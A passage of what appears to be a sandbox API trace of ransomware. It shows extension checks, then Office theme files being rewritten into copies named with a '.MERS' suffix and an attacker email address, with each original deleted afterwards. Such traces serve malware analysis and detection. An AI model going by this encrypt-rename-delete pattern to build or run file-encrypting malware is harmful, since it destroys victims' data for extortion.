lstrlenW (lpString=".xls") returned 4 [0047.850] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.850] lstrlenW (lpString=".xlsx") returned 5 [0047.850] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.850] lstrlenW (lpString=".ppt") returned 4 [0047.850] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.850] lstrlenW (lpString=".zip") returned 4 [0047.850] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.850] lstrlenW (lpString=".rar") returned 4 [0047.850] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.850] lstrlenW (lpString=".bz2") returned 4 [0047.850] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.850] lstrlenW (lpString=".7z") returned 3 [0047.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.850] lstrlenW (lpString=".dbf") returned 4 [0047.850] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.850] lstrlenW (lpString=".1cd") returned 4 [0047.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.850] lstrlenW (lpString=".jpg") returned 4 [0047.850] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.850] lstrlenW (lpString=".doc") returned 4 [0047.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.850] lstrlenW (lpString=".docx") returned 5 [0047.850] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.851] lstrlenW (lpString=".pdf") returned 4 [0047.851] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.851] lstrlenW (lpString=".xls") returned 4 [0047.851] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.851] lstrlenW (lpString=".xlsx") returned 5 [0047.851] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.851] lstrlenW (lpString=".ppt") returned 4 [0047.851] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.851] lstrlenW (lpString=".zip") returned 4 [0047.851] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.851] lstrlenW (lpString=".rar") returned 4 [0047.851] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.851] lstrlenW (lpString=".bz2") returned 4 [0047.851] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.851] lstrlenW (lpString=".7z") returned 3 [0047.851] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.851] lstrlenW (lpString=".dbf") returned 4 [0047.851] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.851] lstrlenW (lpString=".1cd") returned 4 [0047.851] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.851] lstrlenW (lpString=".jpg") returned 4 [0047.851] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.966] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0047.967] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.967] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=20371) returned 1 [0047.967] CloseHandle (hObject=0x180) returned 1 [0047.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0047.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.967] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.967] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.968] GetLastError () returned 0x0 [0047.968] ReadFile (in: hFile=0x180, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0048.051] WriteFile (in: hFile=0x21c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0048.052] ReadFile (in: hFile=0x180, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.052] WriteFile (in: hFile=0x21c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.052] SetEndOfFile (hFile=0x21c) returned 1 [0048.052] CloseHandle (hObject=0x21c) returned 1 [0048.052] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.052] SetEndOfFile (hFile=0x180) returned 1 [0048.053] CloseHandle (hObject=0x180) returned 1 [0048.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.054] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0048.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.054] lstrlenW (lpString=".doc") returned 4 [0048.054] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.054] lstrlenW (lpString=".docx") returned 5 [0048.054] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.054] lstrlenW (lpString=".pdf") returned 4 [0048.054] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.054] lstrlenW (lpString=".xls") returned 4 [0048.054] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.054] lstrlenW (lpString=".xlsx") returned 5 [0048.054] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.054] lstrlenW (lpString=".ppt") returned 4 [0048.054] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.054] lstrlenW (lpString=".zip") returned 4 [0048.054] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.054] lstrlenW (lpString=".rar") returned 4 [0048.054] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.054] lstrlenW (lpString=".bz2") returned 4 [0048.054] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.054] lstrlenW (lpString=".7z") returned 3 [0048.054] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.054] lstrlenW (lpString=".dbf") returned 4 [0048.054] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.054] lstrlenW (lpString=".1cd") returned 4 [0048.054] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.054] lstrlenW (lpString=".jpg") returned 4 [0048.055] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.055] lstrlenW (lpString=".doc") returned 4 [0048.055] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.055] lstrlenW (lpString=".docx") returned 5 [0048.055] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.055] lstrlenW (lpString=".pdf") returned 4 [0048.055] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.055] lstrlenW (lpString=".xls") returned 4 [0048.055] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.055] lstrlenW (lpString=".xlsx") returned 5 [0048.055] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.055] lstrlenW (lpString=".ppt") returned 4 [0048.055] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.055] lstrlenW (lpString=".zip") returned 4 [0048.055] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.055] lstrlenW (lpString=".rar") returned 4 [0048.055] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.055] lstrlenW (lpString=".bz2") returned 4 [0048.055] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.055] lstrlenW (lpString=".7z") returned 3 [0048.055] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.055] lstrlenW (lpString=".dbf") returned 4 [0048.055] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.055] lstrlenW (lpString=".1cd") returned 4 [0048.055] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0048.055] lstrlenW (lpString=".jpg") returned 4 [0048.055] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.056] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.056] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.343] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=28595) returned 1 [0048.343] CloseHandle (hObject=0x210) returned 1 [0048.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0048.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.344] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.344] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.344] GetLastError () returned 0x0 [0048.345] ReadFile (in: hFile=0x210, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0048.392] WriteFile (in: hFile=0x17c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0048.394] ReadFile (in: hFile=0x210, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.394] WriteFile (in: hFile=0x17c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.394] SetEndOfFile (hFile=0x17c) returned 1 [0048.394] CloseHandle (hObject=0x17c) returned 1 [0048.394] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.394] SetEndOfFile (hFile=0x210) returned 1 [0048.395] CloseHandle (hObject=0x210) returned 1 [0048.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.396] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0048.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.396] lstrlenW (lpString=".doc") returned 4 [0048.396] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.396] lstrlenW (lpString=".docx") returned 5 [0048.396] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.396] lstrlenW (lpString=".pdf") returned 4 [0048.396] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.396] lstrlenW (lpString=".xls") returned 4 [0048.396] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.396] lstrlenW (lpString=".xlsx") returned 5 [0048.396] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.396] lstrlenW (lpString=".ppt") returned 4 [0048.396] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.396] lstrlenW (lpString=".zip") returned 4 [0048.396] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.397] lstrlenW (lpString=".rar") returned 4 [0048.397] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.397] lstrlenW (lpString=".bz2") returned 4 [0048.397] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.397] lstrlenW (lpString=".7z") returned 3 [0048.397] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.397] lstrlenW (lpString=".dbf") returned 4 [0048.397] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.397] lstrlenW (lpString=".1cd") returned 4 [0048.397] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.397] lstrlenW (lpString=".jpg") returned 4 [0048.397] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.397] lstrlenW (lpString=".doc") returned 4 [0048.397] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.397] lstrlenW (lpString=".docx") returned 5 [0048.397] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.397] lstrlenW (lpString=".pdf") returned 4 [0048.397] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.397] lstrlenW (lpString=".xls") returned 4 [0048.397] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.397] lstrlenW (lpString=".xlsx") returned 5 [0048.397] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.397] lstrlenW (lpString=".ppt") returned 4 [0048.397] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.398] lstrlenW (lpString=".zip") returned 4 [0048.398] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.398] lstrlenW (lpString=".rar") returned 4 [0048.398] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.398] lstrlenW (lpString=".bz2") returned 4 [0048.398] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.398] lstrlenW (lpString=".7z") returned 3 [0048.398] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.398] lstrlenW (lpString=".dbf") returned 4 [0048.398] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.398] lstrlenW (lpString=".1cd") returned 4 [0048.398] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.398] lstrlenW (lpString=".jpg") returned 4 [0048.398] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.398] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.398] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.399] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1453) returned 1 [0048.399] CloseHandle (hObject=0x210) returned 1 [0048.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0048.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.399] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.399] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.418] GetLastError () returned 0x0 [0048.418] ReadFile (in: hFile=0x210, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x5ad, lpOverlapped=0x0) returned 1 [0048.466] WriteFile (in: hFile=0x1e4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0048.467] ReadFile (in: hFile=0x210, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.467] WriteFile (in: hFile=0x1e4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.467] SetEndOfFile (hFile=0x1e4) returned 1 [0048.468] CloseHandle (hObject=0x1e4) returned 1 [0048.468] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.468] SetEndOfFile (hFile=0x210) returned 1 [0048.469] CloseHandle (hObject=0x210) returned 1 [0048.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.469] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0048.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.470] lstrlenW (lpString=".doc") returned 4 [0048.470] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.470] lstrlenW (lpString=".docx") returned 5 [0048.470] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.470] lstrlenW (lpString=".pdf") returned 4 [0048.470] lstrcmpiW 